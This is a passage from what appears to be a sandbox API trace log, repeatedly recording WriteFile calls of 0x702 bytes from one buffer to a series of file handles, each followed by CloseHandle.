lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.869] CloseHandle (hObject=0x8fc) returned 1 [0154.878] WriteFile (in: hFile=0x900, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.879] CloseHandle (hObject=0x900) returned 1 [0154.879] WriteFile (in: hFile=0x900, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.881] CloseHandle (hObject=0x900) returned 1 [0154.881] WriteFile (in: hFile=0x900, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.882] CloseHandle (hObject=0x900) returned 1 [0154.882] WriteFile (in: hFile=0x900, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.883] CloseHandle (hObject=0x900) returned 1 [0154.883] WriteFile (in: hFile=0x900, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.884] CloseHandle (hObject=0x900) returned 1 [0154.885] WriteFile (in: hFile=0x900, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.886] CloseHandle (hObject=0x900) returned 1 [0154.886] WriteFile (in: hFile=0x900, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.887] CloseHandle (hObject=0x900) returned 1 [0154.887] WriteFile (in: hFile=0x900, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.888] CloseHandle (hObject=0x900) returned 1 [0154.902] WriteFile (in: hFile=0x904, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.903] CloseHandle (hObject=0x904) returned 1 [0154.904] WriteFile (in: hFile=0x904, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.905] CloseHandle (hObject=0x904) returned 1 [0154.905] WriteFile (in: hFile=0x904, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.906] CloseHandle (hObject=0x904) returned 1 [0154.907] WriteFile (in: hFile=0x904, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.907] CloseHandle (hObject=0x904) returned 1 [0154.908] WriteFile (in: hFile=0x904, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.909] CloseHandle (hObject=0x904) returned 1 [0154.919] WriteFile (in: hFile=0x904, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.921] CloseHandle (hObject=0x904) returned 1 [0154.921] WriteFile (in: hFile=0x904, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.922] CloseHandle (hObject=0x904) returned 1 [0154.922] WriteFile (in: hFile=0x904, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.923] CloseHandle (hObject=0x904) returned 1 [0155.027] WriteFile (in: hFile=0x908, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.028] CloseHandle (hObject=0x908) returned 1 [0155.029] WriteFile (in: hFile=0x908, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.030] CloseHandle (hObject=0x908) returned 1 [0155.039] WriteFile (in: hFile=0x908, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.040] CloseHandle (hObject=0x908) returned 1 [0155.041] WriteFile (in: hFile=0x908, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.042] CloseHandle (hObject=0x908) returned 1 [0155.042] WriteFile (in: hFile=0x908, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.043] CloseHandle (hObject=0x908) returned 1 [0155.047] WriteFile (in: hFile=0x908, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.048] CloseHandle (hObject=0x908) returned 1 [0155.048] WriteFile (in: hFile=0x908, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.049] CloseHandle (hObject=0x908) returned 1 [0155.049] WriteFile (in: hFile=0x908, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.050] CloseHandle (hObject=0x908) returned 1 [0155.052] WriteFile (in: hFile=0x90c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.053] CloseHandle (hObject=0x90c) returned 1 [0155.054] WriteFile (in: hFile=0x90c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.055] CloseHandle (hObject=0x90c) returned 1 [0155.055] WriteFile (in: hFile=0x90c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.056] CloseHandle (hObject=0x90c) returned 1 [0155.071] WriteFile (in: hFile=0x90c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.072] CloseHandle (hObject=0x90c) returned 1 [0155.073] WriteFile (in: hFile=0x90c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.074] CloseHandle (hObject=0x90c) returned 1 [0155.076] WriteFile (in: hFile=0x90c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.077] CloseHandle (hObject=0x90c) returned 1 [0155.077] WriteFile (in: hFile=0x90c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.078] CloseHandle (hObject=0x90c) returned 1 [0155.079] WriteFile (in: hFile=0x90c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.079] CloseHandle (hObject=0x90c) returned 1 [0155.094] WriteFile (in: hFile=0x910, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.095] CloseHandle (hObject=0x910) returned 1 [0155.107] WriteFile (in: hFile=0x910, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.108] CloseHandle (hObject=0x910) returned 1 [0155.108] WriteFile (in: hFile=0x910, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.109] CloseHandle (hObject=0x910) returned 1 [0155.109] WriteFile (in: hFile=0x910, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.110] CloseHandle (hObject=0x910) returned 1 [0155.110] WriteFile (in: hFile=0x910, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.112] CloseHandle (hObject=0x910) returned 1 [0155.112] WriteFile (in: hFile=0x910, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.113] CloseHandle (hObject=0x910) returned 1 [0155.114] WriteFile (in: hFile=0x910, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.114] CloseHandle (hObject=0x910) returned 1 [0155.115] WriteFile (in: hFile=0x910, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.116] CloseHandle (hObject=0x910) returned 1 [0155.118] WriteFile (in: hFile=0x914, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.119] CloseHandle (hObject=0x914) returned 1 [0155.120] WriteFile (in: hFile=0x914, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.120] CloseHandle (hObject=0x914) returned 1 [0155.121] WriteFile (in: hFile=0x914, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.121] CloseHandle (hObject=0x914) returned 1 [0155.122] WriteFile (in: hFile=0x914, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.123] CloseHandle (hObject=0x914) returned 1 [0155.124] WriteFile (in: hFile=0x914, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.125] CloseHandle (hObject=0x914) returned 1 [0155.127] WriteFile (in: hFile=0x914, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.127] CloseHandle (hObject=0x914) returned 1 [0155.128] WriteFile (in: hFile=0x914, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.129] CloseHandle (hObject=0x914) returned 1 [0155.129] WriteFile (in: hFile=0x914, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.130] CloseHandle (hObject=0x914) returned 1 [0155.134] WriteFile (in: hFile=0x918, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.134] CloseHandle (hObject=0x918) returned 1 [0155.136] WriteFile (in: hFile=0x918, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.137] CloseHandle (hObject=0x918) returned 1 [0155.138] WriteFile (in: hFile=0x918, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.139] CloseHandle (hObject=0x918) returned 1 [0155.139] WriteFile (in: hFile=0x918, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.140] CloseHandle (hObject=0x918) returned 1 [0155.140] WriteFile (in: hFile=0x918, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.141] CloseHandle (hObject=0x918) returned 1 [0155.150] WriteFile (in: hFile=0x918, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.151] CloseHandle (hObject=0x918) returned 1 [0155.151] WriteFile (in: hFile=0x918, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.152] CloseHandle (hObject=0x918) returned 1 [0155.153] WriteFile (in: hFile=0x918, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.154] CloseHandle (hObject=0x918) returned 1 [0155.155] WriteFile (in: hFile=0x91c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.156] CloseHandle (hObject=0x91c) returned 1 [0155.157] WriteFile (in: hFile=0x91c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.158] CloseHandle (hObject=0x91c) returned 1 [0155.158] WriteFile (in: hFile=0x91c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.159] CloseHandle (hObject=0x91c) returned 1 [0155.159] WriteFile (in: hFile=0x91c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.160] CloseHandle (hObject=0x91c) returned 1 [0155.161] WriteFile (in: hFile=0x91c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.161] CloseHandle (hObject=0x91c) returned 1 [0155.162] WriteFile (in: hFile=0x91c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.163] CloseHandle (hObject=0x91c) returned 1 [0155.163] WriteFile (in: hFile=0x91c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.164] CloseHandle (hObject=0x91c) returned 1 [0155.164] WriteFile (in: hFile=0x91c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.165] CloseHandle (hObject=0x91c) returned 1 [0155.178] WriteFile (in: hFile=0x920, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.179] CloseHandle (hObject=0x920) returned 1 [0155.183] WriteFile (in: hFile=0x920, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.185] CloseHandle (hObject=0x920) returned 1 [0155.185] WriteFile (in: hFile=0x920, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.186] CloseHandle (hObject=0x920) returned 1 [0155.187] WriteFile (in: hFile=0x920, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.188] CloseHandle (hObject=0x920) returned 1 [0155.188] WriteFile (in: hFile=0x920, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.189] CloseHandle (hObject=0x920) returned 1 [0155.189] WriteFile (in: hFile=0x920, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.191] CloseHandle (hObject=0x920) returned 1 [0155.191] WriteFile (in: hFile=0x920, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.192] CloseHandle (hObject=0x920) returned 1 [0155.193] WriteFile (in: hFile=0x920, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.193] CloseHandle (hObject=0x920) returned 1 [0155.195] WriteFile (in: hFile=0x924, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.196] CloseHandle (hObject=0x924) returned 1 [0155.197] WriteFile (in: hFile=0x924, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.198] CloseHandle (hObject=0x924) returned 1 [0155.198] WriteFile (in: hFile=0x924, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.199] CloseHandle (hObject=0x924) returned 1 [0155.200] WriteFile (in: hFile=0x924, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.201] CloseHandle (hObject=0x924) returned 1 [0155.201] WriteFile (in: hFile=0x924, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.202] CloseHandle (hObject=0x924) returned 1 [0155.204] WriteFile (in: hFile=0x924, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.205] CloseHandle (hObject=0x924) returned 1 [0155.206] WriteFile (in: hFile=0x924, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.207] CloseHandle (hObject=0x924) returned 1 [0155.207] WriteFile (in: hFile=0x924, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.208] CloseHandle (hObject=0x924) returned 1 [0155.210] WriteFile (in: hFile=0x928, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.211] CloseHandle (hObject=0x928) returned 1 [0155.212] WriteFile (in: hFile=0x928, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.213] CloseHandle (hObject=0x928) returned 1 [0155.213] WriteFile (in: hFile=0x928, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0155.214] CloseHandle (hObject=0x928) returned 1 [0155.214] WriteFile (in: hFile=0x928, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 